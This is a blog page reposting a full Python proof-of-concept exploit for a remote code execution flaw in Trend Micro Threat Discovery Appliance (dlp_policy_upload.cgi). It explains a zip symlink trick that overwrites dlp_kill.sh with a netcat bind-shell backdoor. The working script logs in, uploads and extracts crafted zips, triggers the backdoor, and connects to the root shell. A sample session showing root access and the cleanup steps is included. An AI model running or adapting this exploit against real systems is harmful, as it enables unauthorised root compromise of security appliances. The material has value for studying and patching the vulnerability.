Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86380673

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

#!/usr/local/bin/python
"""
Trend Micro Threat Discovery Appliance <= 2.6.1062r1 dlp_policy_upload.cgi Remote Code Execution Vulnerability
Found by: Steven Seeley of Source Incite & Roberto Suggi Liverani - @malerisch - http://blog.malerisch.net/ 
File: TDA_InstallationCD.2.6.1062r1.en_US.iso
sha1: 8da4604c92a944ba8f7744641bce932df008f9f9
Download: http://downloadcenter.trendmicro.com/index.php?regs=NABU&clk=latest&clkval=1787&lang_loc=1

Summary:
========

The vulnerabity is that the dlp_policy_upload.cgi allows the upload of a zip file, located statically as: /var/dlp_policy.zip.
The problem is that we can then get that file extracted using admin_dlp.cgi. This gets extracted into 2 locations:

- /eng_ptn_stores/prod/sensorSDK/data/
- /eng_ptn_stores/prod/sensorSDK/backup_pol/

We can then use symlinks to craft a symlinked that points to /opt/TrendMicro/MinorityReport/bin/

ls -la /eng_ptn_stores/prod/sensorSDK/data/si
lrwxrwxrwx    1 root     root           35 Sep  3 01:22 /eng_ptn_stores/prod/sensorSDK/data/si -> /opt/TrendMicro/MinorityReport/bin/

Then, all we do is create /eng_ptn_stores/prod/sensorSDK/data/si/dlp_kill.sh with malicious code and get it executed...

Notes:
======

- For this particular PoC, all I did was exec a bind shell using netcat showing that there is no firewall protections...
- Auth is bypassed in an alternate poc, so we can attack this with the default password...

Exploitation
============

This is a clever trick, basically, we cant traverse since unzip checks for ../ (even though spec says its ok).
We can still exploit this however by extracting a symlink to say a directory and then write into that directory.

For example, if you wanted to link to /tmp you would

ln -s /tmp/ pwn
zip --symlinks -r foo.zip pwn 

Now foo.zip contains the symlink to /tmp. Once this is extracted, the symlink will be written to disk.
All we need todo now is create another zip file with the folder and file...

zip -r foo.zip pwn/hax.txt

Now after extracting foo.zip, we will write hax.txt into /tmp. Of course, we can automate this magic via python.

So, in summary, the steps to attack this target are:

1. Bypass the auth via XXXX
2. upload a zip with a symlink 
3. trigger extraction, crafting the malicious symlink
4. upload another zip with the malicious dlp_kill.sh file
5. trigger extraction, the symlink fires and crushs /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh
6. trigger the execution of /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh via admin_dlp.cgi

Greetz to the busticati, you know who you are. My home boys.

saturn:~ mr_me$ ./poc.py 
(+) usage: ./poc.py <target> <pass>
(+) eg: ./poc.py 172.16.175.123 admin
saturn:~ mr_me$ ./poc.py 172.16.175.123 admin123
(+) logged into the target...
(+) performing initial preflight attack...!
(+) uploading the zipped symlink...
(+) successfuly uploaded the zipped symlink
(+) extracting the symlink...
(+) extracted the symlink!
(+) uploading the zipped dlp_kill.sh...
(+) successfuly uploaded the zipped log_cache.sh
(+) extracting the dlp_kill.sh to /opt/TrendMicro/MinorityReport/bin/...
(+) extracted the dlp_kill.sh file!
(+) starting backdoor...
(+) backdoor started !
(+) dont forget to clean /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh !
(+) run: sed -i '$ d' /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh
id
uid=0(root) gid=0(root)
uname -a
Linux localhost 2.6.24.4 #1 SMP Wed Oct 13 14:38:44 CST 2010 i686 unknown
cat /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh
#!/bin/sh

kill `pidof sensorworker sensormain`
for i in `seq 0 4`;
do
    sleep 1;
    sid=`pidof sensormain`
    if [ "$sid" -eq "" ]; then
        break
    else
        if [ $i -eq 4 ]; then
            kill -9 $sid
        fi
    fi
done
`nc -e /bin/sh -lp 2122>/dev/null`
sed -i '$ d' /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh
cat /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh
#!/bin/sh

kill `pidof sensorworker sensormain`
for i in `seq 0 4`;
do
    sleep 1;
    sid=`pidof sensormain`
    if [ "$sid" -eq "" ]; then
        break
    else
        if [ $i -eq 4 ]; then
            kill -9 $sid
        fi
    fi
done
exit

Cleanup:
========

We just use "sed -i '$ d' /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh" to remove the last line
of the script (the backdoor).
"""
import os
import sys
import time
import zipfile
import requests
import threading
from cStringIO import StringIO

requests.packages.urllib3.disable_warnings()

def _get_bd():
    bd = """#!/bin/sh

kill `pidof sensorworker sensormain`
for i in `seq 0 4`;
do
    sleep 1;
    sid=`pidof sensormain`
    if [ "$sid" -eq "" ]; then
        break
    else
        if [ $i -eq 4 ]; then
            kill -9 $sid
        fi
    fi
done
`%s>/dev/null`
""" % c
    return bd

def _build_zip(CREATE_SYMLINK=False):
    """
    builds the zip file using a symlink attack into a folder...
    so we symlink the /opt/TrendMicro/MinorityReport/bin/ directory
    and then crush the dlp_kill.sh only to then later get it executed
    resulting in rce as root.
    """
    if CREATE_SYMLINK:
        zipinfo = zipfile.ZipInfo()
        zipinfo.filename = u'si'
        zipinfo.external_attr |= 0120000 << 16L         # symlink file type
        zipinfo.compress_type = zipfile.ZIP_STORED
    f = StringIO()
    z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
    if CREATE_SYMLINK:
        z.writestr(zipinfo, "/opt/TrendMicro/MinorityReport/bin/")
    else:
        zipinfo = zipfile.ZipInfo("si/dlp_kill.sh")
        zipinfo.external_attr = 0777 << 16L # give full access to included filezipinfo

        # backdooring code, as we do
        z.writestr(zipinfo, _get_bd())
    z.close()
    test = open('hax.zip','wb')
    test.write(f.getvalue())
    test.close()
    return f.getvalue()

def we_can_upload_a_zip(CREATE_SYMLINK=False):
    """
    uploads a zip file with php code inside to our target for exploitation
    """
    multiple_files = {
        'Q_UPLOAD_ID': (None, ''),
        'binary1': ('pwn.zip', _build_zip(CREATE_SYMLINK), 'application/zip'),
        'submit': (None, 'Import')   
    }
    r = s.post(upload_url, files=multiple_files, verify=False)
    if r.status_code == 200:
        return True
    return False

def unzip():
    try:
        r = s.post(unzip_url, data={"act":"save","upload_status":"0"}, verify=False)
    except:
        pass
    return True

def we_can_login():
    r = s.post(login_url, data={ "passwd":p, "isCookieEnable":1 }, verify=False)
    if "frame.cgi" in r.text:
        return True
    return False

def main():
    global c, s, t, p, login_url, unzip_url, upload_url
    if len(sys.argv) != 3:
        print "(+) usage: %s <target> <pass>" % sys.argv[0]
        print "(+) eg: %s 172.16.175.123 admin" % sys.argv[0]
        sys.exit(-1)
    t = sys.argv[1]
    p = sys.argv[2]
    bu = "https://%s/" % t
    login_url  = "%scgi-bin/logon.cgi" % bu
    unzip_url  = "%scgi-bin/admin_dlp.cgi" % bu
    upload_url = "%scgi-bin/dlp_policy_upload.cgi" % bu
    s = requests.Session()

    # 1st we bypass auth and login
    if we_can_login():

        # we just use a bind, demonstrating that the target doesnt even have a proper firewall!
        c = "nc -e /bin/sh -lp 2122"
        print "(+) logged into the target..."
        print "(+) performing initial preflight attack...!"
        print "(+) uploading the zipped symlink..."

        # 2nd we upload symlink attack
        if we_can_upload_a_zip(CREATE_SYMLINK=True):
            print "(+) successfuly uploaded the zipped symlink"
            print "(+) extracting the symlink..."

            # 3rd we extract it
            unzip()
            print "(+) extracted the symlink!"
            time.sleep(2)   # let the server process things
            print "(+) uploading the zipped dlp_kill.sh..."

            # 4th we upload the backdoor
            if we_can_upload_a_zip(CREATE_SYMLINK=False):
                print "(+) successfuly uploaded the zipped log_cache.sh"
                print "(+) extracting the dlp_kill.sh to /opt/TrendMicro/MinorityReport/bin/..."

                # 5th extract the backdoor, crushing /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh
                unzip()
                print "(+) extracted the dlp_kill.sh file!"
                print "(+) starting backdoor..."

                # 6th we trigger the exec of /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh
                thread = threading.Thread(target=unzip, args=())
                thread.daemon = True
                thread.start()
                print "(+) backdoor started !"
                print "(+) dont forget to clean /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh !"
                print "(+) run: sed -i '$ d' /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh"
                time.sleep(2)
                os.system("nc %s 2122" % t)
if __name__ == '__main__':
    main()